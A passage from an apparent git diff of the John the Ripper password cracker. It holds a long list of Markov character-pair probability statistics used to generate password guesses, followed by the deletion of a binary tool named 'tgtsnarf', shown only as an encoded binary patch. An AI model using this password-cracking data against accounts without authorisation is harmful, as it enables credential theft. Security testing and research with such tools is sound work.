-63=proba2[108*256+52] -62=proba2[108*256+53] -59=proba2[108*256+54] -60=proba2[108*256+55] -63=proba2[108*256+56] -55=proba2[108*256+57] -95=proba2[108*256+59] -106=proba2[108*256+61] -86=proba2[108*256+64] -86=proba2[108*256+65] -90=proba2[108*256+66] -95=proba2[108*256+67] -99=proba2[108*256+68] -88=proba2[108*256+69] -106=proba2[108*256+70] -99=proba2[108*256+71] -99=proba2[108*256+75] -106=proba2[108*256+76] -95=proba2[108*256+77] -106=proba2[108*256+78] -99=proba2[108*256+79] -92=proba2[108*256+80] -99=proba2[108*256+82] -90=proba2[108*256+84] -92=proba2[108*256+85] -106=proba2[108*256+86] -106=proba2[108*256+87] -106=proba2[108*256+88] -99=proba2[108*256+89] -106=proba2[108*256+90] -86=proba2[108*256+95] -18=proba2[108*256+97] -42=proba2[108*256+98] -43=proba2[108*256+99] -36=proba2[108*256+100] -16=proba2[108*256+101] -43=proba2[108*256+102] -47=proba2[108*256+103] -50=proba2[108*256+104] -19=proba2[108*256+105] -56=proba2[108*256+106] -49=proba2[108*256+107] -22=proba2[108*256+108] -41=proba2[108*256+109] -53=proba2[108*256+110] -20=proba2[108*256+111] -41=proba2[108*256+112] -74=proba2[108*256+113] -50=proba2[108*256+114] -41=proba2[108*256+115] -39=proba2[108*256+116] -31=proba2[108*256+117] -44=proba2[108*256+118] -59=proba2[108*256+119] -63=proba2[108*256+120] -37=proba2[108*256+121] -60=proba2[108*256+122] -25=proba1[109] -83=proba2[109*256+32] -84=proba2[109*256+33] -102=proba2[109*256+34] -102=proba2[109*256+35] -91=proba2[109*256+36] -102=proba2[109*256+37] -88=proba2[109*256+38] -88=proba2[109*256+39] -95=proba2[109*256+41] -86=proba2[109*256+42] -88=proba2[109*256+43] -88=proba2[109*256+44] -83=proba2[109*256+45] -79=proba2[109*256+46] -54=proba2[109*256+48] -45=proba2[109*256+49] -49=proba2[109*256+50] -57=proba2[109*256+51] -60=proba2[109*256+52] -59=proba2[109*256+53] -60=proba2[109*256+54] -58=proba2[109*256+55] -61=proba2[109*256+56] -54=proba2[109*256+57] -91=proba2[109*256+59] -102=proba2[109*256+60] -91=proba2[109*256+61] -95=proba2[109*256+63] -81=proba2[109*256+64] -88=proba2[109*256+65] -102=proba2[109*256+66] -102=proba2[109*256+67] -95=proba2[109*256+68] -102=proba2[109*256+70] -95=proba2[109*256+71] -91=proba2[109*256+72] -102=proba2[109*256+74] -102=proba2[109*256+76] -91=proba2[109*256+77] -102=proba2[109*256+78] -102=proba2[109*256+80] -102=proba2[109*256+81] -95=proba2[109*256+84] -95=proba2[109*256+85] -95=proba2[109*256+86] -102=proba2[109*256+88] -102=proba2[109*256+89] -91=proba2[109*256+95] -12=proba2[109*256+97] -34=proba2[109*256+98] -41=proba2[109*256+99] -45=proba2[109*256+100] -20=proba2[109*256+101] -50=proba2[109*256+102] -49=proba2[109*256+103] -53=proba2[109*256+104] -20=proba2[109*256+105] -51=proba2[109*256+106] -55=proba2[109*256+107] -44=proba2[109*256+108] -35=proba2[109*256+109] -50=proba2[109*256+110] -20=proba2[109*256+111] -33=proba2[109*256+112] -67=proba2[109*256+113] -46=proba2[109*256+114] -39=proba2[109*256+115] -47=proba2[109*256+116] -34=proba2[109*256+117] -57=proba2[109*256+118] -60=proba2[109*256+119] -60=proba2[109*256+120] -35=proba2[109*256+121] -59=proba2[109*256+122] -102=proba2[109*256+125] -35=proba1[110] -86=proba2[110*256+32] -84=proba2[110*256+33] -94=proba2[110*256+35] -94=proba2[110*256+36] -105=proba2[110*256+37] -84=proba2[110*256+38] -91=proba2[110*256+39] -105=proba2[110*256+40] -105=proba2[110*256+41] -79=proba2[110*256+42] -87=proba2[110*256+43] -87=proba2[110*256+44] -77=proba2[110*256+45] -87=proba2[110*256+46] -51=proba2[110*256+48] -42=proba2[110*256+49] -47=proba2[110*256+50] -56=proba2[110*256+51] -61=proba2[110*256+52] -60=proba2[110*256+53] -54=proba2[110*256+54] -56=proba2[110*256+55] -62=proba2[110*256+56] -55=proba2[110*256+57] -91=proba2[110*256+59] -105=proba2[110*256+61] -98=proba2[110*256+63] -86=proba2[110*256+64] -86=proba2[110*256+65] -98=proba2[110*256+66] -105=proba2[110*256+67] -91=proba2[110*256+68] -98=proba2[110*256+69] -105=proba2[110*256+70] -89=proba2[110*256+71] -105=proba2[110*256+72] -84=proba2[110*256+73] -98=proba2[110*256+74] -105=proba2[110*256+75] -98=proba2[110*256+76] -98=proba2[110*256+77] -91=proba2[110*256+79] -98=proba2[110*256+80] -98=proba2[110*256+82] -83=proba2[110*256+83] -105=proba2[110*256+84] -105=proba2[110*256+85] -105=proba2[110*256+87] -89=proba2[110*256+89] -94=proba2[110*256+90] -105=proba2[110*256+94] -84=proba2[110*256+95] -22=proba2[110*256+97] -45=proba2[110*256+98] -30=proba2[110*256+99] -26=proba2[110*256+100] -17=proba2[110*256+101] -43=proba2[110*256+102] -29=proba2[110*256+103] -50=proba2[110*256+104] -22=proba2[110*256+105] -45=proba2[110*256+106] -41=proba2[110*256+107] -48=proba2[110*256+108] -48=proba2[110*256+109] -30=proba2[110*256+110] -24=proba2[110*256+111] -48=proba2[110*256+112] -64=proba2[110*256+113] -48=proba2[110*256+114] -33=proba2[110*256+115] -25=proba2[110*256+116] -39=proba2[110*256+117] -54=proba2[110*256+118] -58=proba2[110*256+119] -60=proba2[110*256+120] -40=proba2[110*256+121] -47=proba2[110*256+122] -105=proba2[110*256+125] -41=proba1[111] -90=proba2[111*256+32] -85=proba2[111*256+33] -108=proba2[111*256+35] -97=proba2[111*256+36] -108=proba2[111*256+37] -101=proba2[111*256+38] -101=proba2[111*256+39] -108=proba2[111*256+40] -89=proba2[111*256+42] -90=proba2[111*256+43] -94=proba2[111*256+44] -89=proba2[111*256+45] -83=proba2[111*256+46] -55=proba2[111*256+48] -45=proba2[111*256+49] -50=proba2[111*256+50] -57=proba2[111*256+51] -61=proba2[111*256+52] -62=proba2[111*256+53] -59=proba2[111*256+54] -56=proba2[111*256+55] -64=proba2[111*256+56] -55=proba2[111*256+57] -94=proba2[111*256+59] -97=proba2[111*256+61] -108=proba2[111*256+62] -108=proba2[111*256+63] -97=proba2[111*256+64] -92=proba2[111*256+66] -94=proba2[111*256+67] -108=proba2[111*256+68] -108=proba2[111*256+69] -94=proba2[111*256+70] -94=proba2[111*256+71] -108=proba2[111*256+72] -101=proba2[111*256+73] -97=proba2[111*256+74] -101=proba2[111*256+76] -97=proba2[111*256+77] -101=proba2[111*256+78] -94=proba2[111*256+80] -101=proba2[111*256+81] -92=proba2[111*256+82] -89=proba2[111*256+83] -89=proba2[111*256+84] -92=proba2[111*256+85] -101=proba2[111*256+88] -108=proba2[111*256+90] -92=proba2[111*256+95] -46=proba2[111*256+97] -36=proba2[111*256+98] -34=proba2[111*256+99] -36=proba2[111*256+100] -44=proba2[111*256+101] -41=proba2[111*256+102] -39=proba2[111*256+103] -47=proba2[111*256+104] -33=proba2[111*256+105] -53=proba2[111*256+106] -42=proba2[111*256+107] -25=proba2[111*256+108] -29=proba2[111*256+109] -19=proba2[111*256+110] -33=proba2[111*256+111] -34=proba2[111*256+112] -60=proba2[111*256+113] -23=proba2[111*256+114] -31=proba2[111*256+115] -30=proba2[111*256+116] -17=proba2[111*256+117] -42=proba2[111*256+118] -43=proba2[111*256+119] -48=proba2[111*256+120] -42=proba2[111*256+121] -48=proba2[111*256+122] -28=proba1[112] -92=proba2[112*256+32] -76=proba2[112*256+33] -85=proba2[112*256+36] -88=proba2[112*256+38] -85=proba2[112*256+43] -88=proba2[112*256+44] -85=proba2[112*256+45] -78=proba2[112*256+46] -55=proba2[112*256+48] -47=proba2[112*256+49] -49=proba2[112*256+50] -51=proba2[112*256+51] -58=proba2[112*256+52] -58=proba2[112*256+53] -58=proba2[112*256+54] -56=proba2[112*256+55] -65=proba2[112*256+56] -55=proba2[112*256+57] -92=proba2[112*256+59] -99=proba2[112*256+61] -99=proba2[112*256+63] -92=proba2[112*256+64] -85=proba2[112*256+67] -99=proba2[112*256+68] -99=proba2[112*256+69] -99=proba2[112*256+71] -92=proba2[112*256+72] -92=proba2[112*256+73] -99=proba2[112*256+75] -99=proba2[112*256+76] -88=proba2[112*256+77] -85=proba2[112*256+78] -92=proba2[112*256+79] -88=proba2[112*256+80] -88=proba2[112*256+82] -92=proba2[112*256+83] -83=proba2[112*256+84] -99=proba2[112*256+86] -99=proba2[112*256+87] -85=proba2[112*256+89] -99=proba2[112*256+90] -83=proba2[112*256+95] -17=proba2[112*256+97] -45=proba2[112*256+98] -40=proba2[112*256+99] -48=proba2[112*256+100] -20=proba2[112*256+101] -47=proba2[112*256+102] -48=proba2[112*256+103] -23=proba2[112*256+104] -21=proba2[112*256+105] -51=proba2[112*256+106] -53=proba2[112*256+107] -31=proba2[112*256+108] -42=proba2[112*256+109] -52=proba2[112*256+110] -21=proba2[112*256+111] -34=proba2[112*256+112] -60=proba2[112*256+113] -28=proba2[112*256+114] -33=proba2[112*256+115] -38=proba2[112*256+116] -36=proba2[112*256+117] -52=proba2[112*256+118] -54=proba2[112*256+119] -63=proba2[112*256+120] -39=proba2[112*256+121] -58=proba2[112*256+122] -54=proba1[113] -77=proba2[113*256+32] -77=proba2[113*256+44] -70=proba2[113*256+45] -70=proba2[113*256+46] -61=proba2[113*256+48] -39=proba2[113*256+49] -42=proba2[113*256+50] -50=proba2[113*256+51] -52=proba2[113*256+52] -45=proba2[113*256+53] -50=proba2[113*256+54] -46=proba2[113*256+55] -54=proba2[113*256+56] -44=proba2[113*256+57] -77=proba2[113*256+66] -77=proba2[113*256+68] -66=proba2[113*256+69] -77=proba2[113*256+70] -77=proba2[113*256+72] -77=proba2[113*256+74] -77=proba2[113*256+75] -77=proba2[113*256+79] -70=proba2[113*256+80] -77=proba2[113*256+81] -77=proba2[113*256+82] -66=proba2[113*256+83] -77=proba2[113*256+84] -77=proba2[113*256+85] -70=proba2[113*256+87] -70=proba2[113*256+88] -63=proba2[113*256+90] -35=proba2[113*256+97] -41=proba2[113*256+98] -37=proba2[113*256+99] -43=proba2[113*256+100] -44=proba2[113*256+101] -42=proba2[113*256+102] -50=proba2[113*256+103] -50=proba2[113*256+104] -43=proba2[113*256+105] -46=proba2[113*256+106] -52=proba2[113*256+107] -48=proba2[113*256+108] -41=proba2[113*256+109] -48=proba2[113*256+110] -53=proba2[113*256+111] -41=proba2[113*256+112] -40=proba2[113*256+113] -43=proba2[113*256+114] -35=proba2[113*256+115] -41=proba2[113*256+116] -6=proba2[113*256+117] -45=proba2[113*256+118] -30=proba2[113*256+119] -49=proba2[113*256+120] -53=proba2[113*256+121] -46=proba2[113*256+122] -34=proba1[114] -88=proba2[114*256+32] -82=proba2[114*256+33] -100=proba2[114*256+35] -89=proba2[114*256+36] -107=proba2[114*256+37] -88=proba2[114*256+38] -107=proba2[114*256+39] -100=proba2[114*256+41] -89=proba2[114*256+42] -89=proba2[114*256+43] -107=proba2[114*256+44] -84=proba2[114*256+45] -84=proba2[114*256+46] -56=proba2[114*256+48] -45=proba2[114*256+49] -50=proba2[114*256+50] -58=proba2[114*256+51] -60=proba2[114*256+52] -60=proba2[114*256+53] -59=proba2[114*256+54] -57=proba2[114*256+55] -62=proba2[114*256+56] -56=proba2[114*256+57] -107=proba2[114*256+59] -107=proba2[114*256+61] -107=proba2[114*256+63] -83=proba2[114*256+64] -107=proba2[114*256+65] -100=proba2[114*256+66] -107=proba2[114*256+67] -107=proba2[114*256+68] -100=proba2[114*256+69] -100=proba2[114*256+70] -100=proba2[114*256+71] -100=proba2[114*256+72] -100=proba2[114*256+73] -107=proba2[114*256+74] -96=proba2[114*256+75] -96=proba2[114*256+76] -93=proba2[114*256+77] -107=proba2[114*256+78] -100=proba2[114*256+79] -100=proba2[114*256+80] -96=proba2[114*256+81] -107=proba2[114*256+82] -89=proba2[114*256+83] -96=proba2[114*256+84] -96=proba2[114*256+85] -100=proba2[114*256+86] -107=proba2[114*256+87] -107=proba2[114*256+91] -96=proba2[114*256+95] -20=proba2[114*256+97] -41=proba2[114*256+98] -35=proba2[114*256+99] -30=proba2[114*256+100] -18=proba2[114*256+101] -45=proba2[114*256+102] -37=proba2[114*256+103] -54=proba2[114*256+104] -19=proba2[114*256+105] -56=proba2[114*256+106] -44=proba2[114*256+107] -38=proba2[114*256+108] -39=proba2[114*256+109] -36=proba2[114*256+110] -21=proba2[114*256+111] -44=proba2[114*256+112] -62=proba2[114*256+113] -35=proba2[114*256+114] -35=proba2[114*256+115] -28=proba2[114*256+116] -35=proba2[114*256+117] -46=proba2[114*256+118] -54=proba2[114*256+119] -66=proba2[114*256+120] -39=proba2[114*256+121] -57=proba2[114*256+122] -96=proba2[114*256+125] -26=proba1[115] -84=proba2[115*256+32] -84=proba2[115*256+33] -93=proba2[115*256+35] -93=proba2[115*256+36] -90=proba2[115*256+37] -86=proba2[115*256+38] -104=proba2[115*256+39] -104=proba2[115*256+41] -86=proba2[115*256+42] -84=proba2[115*256+43] -90=proba2[115*256+44] -83=proba2[115*256+45] -79=proba2[115*256+46] -50=proba2[115*256+48] -41=proba2[115*256+49] -45=proba2[115*256+50] -54=proba2[115*256+51] -56=proba2[115*256+52] -55=proba2[115*256+53] -55=proba2[115*256+54] -53=proba2[115*256+55] -59=proba2[115*256+56] -51=proba2[115*256+57] -104=proba2[115*256+59] -104=proba2[115*256+60] -104=proba2[115*256+61] -97=proba2[115*256+63] -88=proba2[115*256+64] -97=proba2[115*256+65] -104=proba2[115*256+66] -104=proba2[115*256+67] -83=proba2[115*256+68] -104=proba2[115*256+69] -93=proba2[115*256+70] -104=proba2[115*256+71] -97=proba2[115*256+72] -97=proba2[115*256+73] -104=proba2[115*256+75] -104=proba2[115*256+76] -86=proba2[115*256+77] -97=proba2[115*256+81] -97=proba2[115*256+82] -104=proba2[115*256+83] -97=proba2[115*256+84] -104=proba2[115*256+86] -104=proba2[115*256+87] -104=proba2[115*256+89] -81=proba2[115*256+95] -104=proba2[115*256+96] -22=proba2[115*256+97] -43=proba2[115*256+98] -30=proba2[115*256+99] -43=proba2[115*256+100] -21=proba2[115*256+101] -48=proba2[115*256+102] -47=proba2[115*256+103] -33=proba2[115*256+104] -25=proba2[115*256+105] -54=proba2[115*256+106] -38=proba2[115*256+107] -40=proba2[115*256+108] -37=proba2[115*256+109] -41=proba2[115*256+110] -26=proba2[115*256+111] -33=proba2[115*256+112] -53=proba2[115*256+113] -48=proba2[115*256+114] -23=proba2[115*256+115] -19=proba2[115*256+116] -34=proba2[115*256+117] -53=proba2[115*256+118] -46=proba2[115*256+119] -56=proba2[115*256+120] -37=proba2[115*256+121] -60=proba2[115*256+122] -31=proba1[116] -87=proba2[116*256+32] -77=proba2[116*256+33] -92=proba2[116*256+36] -83=proba2[116*256+38] -92=proba2[116*256+39] -90=proba2[116*256+42] -97=proba2[116*256+43] -103=proba2[116*256+44] -79=proba2[116*256+45] -90=proba2[116*256+46] -54=proba2[116*256+48] -44=proba2[116*256+49] -48=proba2[116*256+50] -56=proba2[116*256+51] -57=proba2[116*256+52] -60=proba2[116*256+53] -57=proba2[116*256+54] -57=proba2[116*256+55] -61=proba2[116*256+56] -54=proba2[116*256+57] -103=proba2[116*256+59] -97=proba2[116*256+61] -86=proba2[116*256+64] -87=proba2[116*256+65] -92=proba2[116*256+66] -97=proba2[116*256+68] -92=proba2[116*256+69] -103=proba2[116*256+71] -103=proba2[116*256+72] -97=proba2[116*256+73] -97=proba2[116*256+74] -103=proba2[116*256+76] -90=proba2[116*256+77] -92=proba2[116*256+78] -97=proba2[116*256+79] -103=proba2[116*256+80] -103=proba2[116*256+81] -87=proba2[116*256+82] -92=proba2[116*256+84] -103=proba2[116*256+85] -103=proba2[116*256+86] -97=proba2[116*256+88] -92=proba2[116*256+89] -81=proba2[116*256+95] -21=proba2[116*256+97] -46=proba2[116*256+98] -38=proba2[116*256+99] -48=proba2[116*256+100] -17=proba2[116*256+101] -50=proba2[116*256+102] -51=proba2[116*256+103] -24=proba2[116*256+104] -21=proba2[116*256+105] -55=proba2[116*256+106] -58=proba2[116*256+107] -43=proba2[116*256+108] -42=proba2[116*256+109] -47=proba2[116*256+110] -20=proba2[116*256+111] -47=proba2[116*256+112] -67=proba2[116*256+113] -25=proba2[116*256+114] -37=proba2[116*256+115] -29=proba2[116*256+116] -34=proba2[116*256+117] -54=proba2[116*256+118] -49=proba2[116*256+119] -60=proba2[116*256+120] -37=proba2[116*256+121] -48=proba2[116*256+122] -103=proba2[116*256+124] -51=proba1[117] -102=proba2[117*256+32] -81=proba2[117*256+33] -95=proba2[117*256+35] -91=proba2[117*256+36] -102=proba2[117*256+37] -88=proba2[117*256+38] -102=proba2[117*256+40] -86=proba2[117*256+42] -102=proba2[117*256+43] -95=proba2[117*256+44] -81=proba2[117*256+45] -84=proba2[117*256+46] -58=proba2[117*256+48] -47=proba2[117*256+49] -50=proba2[117*256+50] -58=proba2[117*256+51] -61=proba2[117*256+52] -60=proba2[117*256+53] -57=proba2[117*256+54] -58=proba2[117*256+55] -63=proba2[117*256+56] -57=proba2[117*256+57] -102=proba2[117*256+59] -102=proba2[117*256+61] -102=proba2[117*256+63] -102=proba2[117*256+64] -102=proba2[117*256+65] -91=proba2[117*256+66] -91=proba2[117*256+68] -88=proba2[117*256+70] -95=proba2[117*256+71] -102=proba2[117*256+72] -102=proba2[117*256+73] -86=proba2[117*256+75] -88=proba2[117*256+76] -102=proba2[117*256+77] -102=proba2[117*256+78] -91=proba2[117*256+79] -91=proba2[117*256+80] -86=proba2[117*256+82] -88=proba2[117*256+83] -88=proba2[117*256+84] -102=proba2[117*256+85] -102=proba2[117*256+87] -91=proba2[117*256+88] -102=proba2[117*256+90] -102=proba2[117*256+91] -102=proba2[117*256+93] -84=proba2[117*256+95] -35=proba2[117*256+97] -32=proba2[117*256+98] -29=proba2[117*256+99] -28=proba2[117*256+100] -27=proba2[117*256+101] -40=proba2[117*256+102] -36=proba2[117*256+103] -51=proba2[117*256+104] -27=proba2[117*256+105] -49=proba2[117*256+106] -42=proba2[117*256+107] -23=proba2[117*256+108] -32=proba2[117*256+109] -26=proba2[117*256+110] -51=proba2[117*256+111] -33=proba2[117*256+112] -60=proba2[117*256+113] -20=proba2[117*256+114] -23=proba2[117*256+115] -29=proba2[117*256+116] -59=proba2[117*256+117] -43=proba2[117*256+118] -61=proba2[117*256+119] -37=proba2[117*256+120] -45=proba2[117*256+121] -43=proba2[117*256+122] -38=proba1[118] -72=proba2[118*256+33] -85=proba2[118*256+35] -85=proba2[118*256+36] -85=proba2[118*256+38] -85=proba2[118*256+42] -85=proba2[118*256+43] -92=proba2[118*256+44] -92=proba2[118*256+45] -74=proba2[118*256+46] -57=proba2[118*256+48] -47=proba2[118*256+49] -50=proba2[118*256+50] -57=proba2[118*256+51] -56=proba2[118*256+52] -54=proba2[118*256+53] -57=proba2[118*256+54] -56=proba2[118*256+55] -55=proba2[118*256+56] -55=proba2[118*256+57] -85=proba2[118*256+61] -81=proba2[118*256+64] -81=proba2[118*256+65] -85=proba2[118*256+66] -92=proba2[118*256+67] -92=proba2[118*256+68] -85=proba2[118*256+69] -92=proba2[118*256+71] -78=proba2[118*256+72] -85=proba2[118*256+75] -92=proba2[118*256+76] -92=proba2[118*256+77] -92=proba2[118*256+79] -92=proba2[118*256+80] -85=proba2[118*256+81] -92=proba2[118*256+84] -81=proba2[118*256+85] -85=proba2[118*256+95] -16=proba2[118*256+97] -42=proba2[118*256+98] -44=proba2[118*256+99] -42=proba2[118*256+100] -14=proba2[118*256+101] -50=proba2[118*256+102] -50=proba2[118*256+103] -51=proba2[118*256+104] -13=proba2[118*256+105] -55=proba2[118*256+106] -56=proba2[118*256+107] -42=proba2[118*256+108] -45=proba2[118*256+109] -49=proba2[118*256+110] -27=proba2[118*256+111] -47=proba2[118*256+112] -59=proba2[118*256+113] -34=proba2[118*256+114] -45=proba2[118*256+115] -46=proba2[118*256+116] -46=proba2[118*256+117] -48=proba2[118*256+118] -58=proba2[118*256+119] -57=proba2[118*256+120] -44=proba2[118*256+121] -61=proba2[118*256+122] -43=proba1[119] -86=proba2[119*256+32] -86=proba2[119*256+33] -86=proba2[119*256+34] -72=proba2[119*256+37] -86=proba2[119*256+38] -79=proba2[119*256+42] -86=proba2[119*256+44] -79=proba2[119*256+45] -79=proba2[119*256+46] -56=proba2[119*256+48] -47=proba2[119*256+49] -45=proba2[119*256+50] -50=proba2[119*256+51] -52=proba2[119*256+52] -57=proba2[119*256+53] -55=proba2[119*256+54] -52=proba2[119*256+55] -55=proba2[119*256+56] -53=proba2[119*256+57] -79=proba2[119*256+65] -86=proba2[119*256+68] -86=proba2[119*256+69] -79=proba2[119*256+70] -86=proba2[119*256+71] -86=proba2[119*256+72] -86=proba2[119*256+73] -79=proba2[119*256+74] -86=proba2[119*256+77] -79=proba2[119*256+81] -79=proba2[119*256+83] -86=proba2[119*256+84] -75=proba2[119*256+86] -86=proba2[119*256+89] -86=proba2[119*256+90] -79=proba2[119*256+95] -16=proba2[119*256+97] -42=proba2[119*256+98] -46=proba2[119*256+99] -43=proba2[119*256+100] -14=proba2[119*256+101] -46=proba2[119*256+102] -47=proba2[119*256+103] -38=proba2[119*256+104] -20=proba2[119*256+105] -53=proba2[119*256+106] -46=proba2[119*256+107] -44=proba2[119*256+108] -47=proba2[119*256+109] -39=proba2[119*256+110] -22=proba2[119*256+111] -49=proba2[119*256+112] -55=proba2[119*256+113] -42=proba2[119*256+114] -34=proba2[119*256+115] -46=proba2[119*256+116] -45=proba2[119*256+117] -59=proba2[119*256+118] -36=proba2[119*256+119] -43=proba2[119*256+120] -40=proba2[119*256+121] -49=proba2[119*256+122] -51=proba1[120] -82=proba2[120*256+37] -76=proba2[120*256+38] -82=proba2[120*256+39] -82=proba2[120*256+42] -82=proba2[120*256+43] -76=proba2[120*256+44] -61=proba2[120*256+45] -66=proba2[120*256+46] -40=proba2[120*256+48] -31=proba2[120*256+49] -35=proba2[120*256+50] -39=proba2[120*256+51] -44=proba2[120*256+52] -47=proba2[120*256+53] -42=proba2[120*256+54] -42=proba2[120*256+55] -45=proba2[120*256+56] -41=proba2[120*256+57] -82=proba2[120*256+59] -82=proba2[120*256+63] -82=proba2[120*256+64] -82=proba2[120*256+65] -82=proba2[120*256+68] -82=proba2[120*256+70] -76=proba2[120*256+71] -76=proba2[120*256+72] -82=proba2[120*256+76] -76=proba2[120*256+77] -76=proba2[120*256+80] -76=proba2[120*256+81] -82=proba2[120*256+82] -82=proba2[120*256+83] -82=proba2[120*256+84] -76=proba2[120*256+85] -82=proba2[120*256+86] -82=proba2[120*256+87] -82=proba2[120*256+88] -82=proba2[120*256+90] -82=proba2[120*256+93] -82=proba2[120*256+95] -24=proba2[120*256+97] -38=proba2[120*256+98] -32=proba2[120*256+99] -40=proba2[120*256+100] -25=proba2[120*256+101] -37=proba2[120*256+102] -44=proba2[120*256+103] -48=proba2[120*256+104] -24=proba2[120*256+105] -48=proba2[120*256+106] -49=proba2[120*256+107] -38=proba2[120*256+108] -34=proba2[120*256+109] -45=proba2[120*256+110] -31=proba2[120*256+111] -32=proba2[120*256+112] -51=proba2[120*256+113] -41=proba2[120*256+114] -36=proba2[120*256+115] -31=proba2[120*256+116] -40=proba2[120*256+117] -45=proba2[120*256+118] -42=proba2[120*256+119] -24=proba2[120*256+120] -33=proba2[120*256+121] -45=proba2[120*256+122] -45=proba1[121] -75=proba2[121*256+32] -72=proba2[121*256+33] -91=proba2[121*256+34] -80=proba2[121*256+36] -78=proba2[121*256+38] -91=proba2[121*256+39] -91=proba2[121*256+41] -69=proba2[121*256+42] -78=proba2[121*256+44] -69=proba2[121*256+45] -84=proba2[121*256+46] -43=proba2[121*256+48] -34=proba2[121*256+49] -38=proba2[121*256+50] -48=proba2[121*256+51] -46=proba2[121*256+52] -51=proba2[121*256+53] -47=proba2[121*256+54] -44=proba2[121*256+55] -49=proba2[121*256+56] -43=proba2[121*256+57] -91=proba2[121*256+59] -78=proba2[121*256+63] -91=proba2[121*256+64] -84=proba2[121*256+65] -84=proba2[121*256+66] -80=proba2[121*256+67] -73=proba2[121*256+68] -91=proba2[121*256+69] -91=proba2[121*256+72] -84=proba2[121*256+74] -84=proba2[121*256+76] -78=proba2[121*256+77] -91=proba2[121*256+78] -84=proba2[121*256+80] -91=proba2[121*256+82] -80=proba2[121*256+83] -66=proba2[121*256+84] -78=proba2[121*256+85] -80=proba2[121*256+88] -91=proba2[121*256+89] -91=proba2[121*256+93] -78=proba2[121*256+95] -22=proba2[121*256+97] -28=proba2[121*256+98] -33=proba2[121*256+99] -35=proba2[121*256+100] -27=proba2[121*256+101] -44=proba2[121*256+102] -32=proba2[121*256+103] -49=proba2[121*256+104] -48=proba2[121*256+105] -47=proba2[121*256+106] -44=proba2[121*256+107] -27=proba2[121*256+108] -32=proba2[121*256+109] -31=proba2[121*256+110] -24=proba2[121*256+111] -35=proba2[121*256+112] -63=proba2[121*256+113] -30=proba2[121*256+114] -25=proba2[121*256+115] -37=proba2[121*256+116] -39=proba2[121*256+117] -37=proba2[121*256+118] -48=proba2[121*256+119] -48=proba2[121*256+120] -47=proba2[121*256+121] -45=proba2[121*256+122] -44=proba1[122] -80=proba2[122*256+33] -87=proba2[122*256+34] -87=proba2[122*256+35] -87=proba2[122*256+36] -87=proba2[122*256+37] -80=proba2[122*256+38] -76=proba2[122*256+40] -87=proba2[122*256+42] -76=proba2[122*256+44] -73=proba2[122*256+45] -53=proba2[122*256+48] -46=proba2[122*256+49] -46=proba2[122*256+50] -46=proba2[122*256+51] -49=proba2[122*256+52] -53=proba2[122*256+53] -49=proba2[122*256+54] -52=proba2[122*256+55] -49=proba2[122*256+56] -52=proba2[122*256+57] -87=proba2[122*256+59] -80=proba2[122*256+64] -80=proba2[122*256+65] -87=proba2[122*256+66] -87=proba2[122*256+67] -87=proba2[122*256+68] -87=proba2[122*256+70] -80=proba2[122*256+71] -80=proba2[122*256+73] -80=proba2[122*256+75] -87=proba2[122*256+76] -73=proba2[122*256+77] -87=proba2[122*256+78] -87=proba2[122*256+81] -87=proba2[122*256+83] -87=proba2[122*256+85] -87=proba2[122*256+87] -80=proba2[122*256+88] -73=proba2[122*256+89] -80=proba2[122*256+95] -18=proba2[122*256+97] -44=proba2[122*256+98] -48=proba2[122*256+99] -46=proba2[122*256+100] -17=proba2[122*256+101] -51=proba2[122*256+102] -47=proba2[122*256+103] -41=proba2[122*256+104] -21=proba2[122*256+105] -60=proba2[122*256+106] -50=proba2[122*256+107] -44=proba2[122*256+108] -38=proba2[122*256+109] -48=proba2[122*256+110] -18=proba2[122*256+111] -50=proba2[122*256+112] -53=proba2[122*256+113] -46=proba2[122*256+114] -49=proba2[122*256+115] -45=proba2[122*256+116] -34=proba2[122*256+117] -54=proba2[122*256+118] -47=proba2[122*256+119] -45=proba2[122*256+120] -35=proba2[122*256+121] -24=proba2[122*256+122] -87=proba2[122*256+126] -104=proba1[123] -19=proba2[123*256+75] -19=proba2[123*256+91] -19=proba2[123*256+97] -19=proba2[123*256+102] -19=proba2[123*256+114] -19=proba2[123*256+122] -19=proba2[123*256+124] -111=proba1[124] -20=proba2[124*256+38] -20=proba2[124*256+41] -20=proba2[124*256+45] -20=proba2[124*256+53] -20=proba2[124*256+82] -20=proba2[124*256+106] -20=proba2[124*256+108] -20=proba2[124*256+109] -118=proba1[125] -13=proba2[125*256+54] -13=proba2[125*256+66] -13=proba2[125*256+101] -13=proba2[125*256+115] -111=proba1[126] -13=proba2[126*256+86] -13=proba2[126*256+98] -13=proba2[126*256+115] -13=proba2[126*256+122] diff --git a/data/john/run.linux.x64.mmx/tgtsnarf b/data/john/run.linux.x64.mmx/tgtsnarf deleted file mode 100755 index b2761cdbcf545a8e5295ff43334941eea7f688da..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10472 zcmcIq3vg6bnm*m>ghoQTMPVaG(r7aiM(H7d3=h%U62}{>b)te=i{!I%Z!r%+8}2$J%vwU1hhXSfpl>#-PZQx><0hP<&(@EpHQKBI<}bq4)dG zBi!7IRqpG+x&QgT^Z);O{r8;P_vU-IM84^ExtL0Bb|WL?pQ~|7Tp6<#b11nr%*!-Z z#ja#!U`mlSUPDrpl*~)lN_wSU38aV0Zb`T`QIN7qAhaQp>LE#L?_$zqQOMV&fs%{` zcslx8E7p8)coATL6` z9QjJ*E0Af*=Oa6l3Jt~2k_GDfCCF;*M3*BkMyA-HrJ9R;8L~<=21-{WS0GcrDXBS| zhjJxn7@Gr0eWL!69qIHRUhL}e=yQl8|J2r@-~H9Djko;zOv~n||Kzvtt6Fm|TlGxt zgNoB9eqXWj$S36T3)59_Y*%g<00PV(0}^uNKqF!p_i{wB%a>Ck^o`gzfzUy%BbI`|Ee zf5*YcWzfub_~rv& zC12(6GbsJP=Fs0D_1hr*?1Lf;G)YY%?veah^>jXu>PvBVT9Q}$#nvy-|48ajIP_^9 z=HZTNnxmm~G12^*Gzab=w3=$TZ(hfd z;8Tg_9dU!DjAV1yP8RQmlSG%%))^xz+1#2$7f_0&yI5B|nM?>AZQjw?+`6N&CEC`` zy3$5-YcvUiSX(D+*&a7iWZWL_WGKTMYwL^~jnP;v$vWa4)J`(q{7_3W(Lpxw%38jY zY%}7dZnSm86D_gmPS)I>NX5w!b)uy!+16>auvEM=W+c$3W@BepywOOcyU?x1_Czx{ z8l#-5jwp2{8IQBZcr0o}QHz-om7p-ZTO;*1Z){u4~ygGx4@3Har{j}f4+t2es8&7AWN_%a*{h4B)jaSblWb=fLr)LwD z_S<;%TtIaPZ9F}@sFb(y^3jb~>6tTL>jWalT7fXJ-oTvdnIqnj;`QIXEWnCOcH!!) 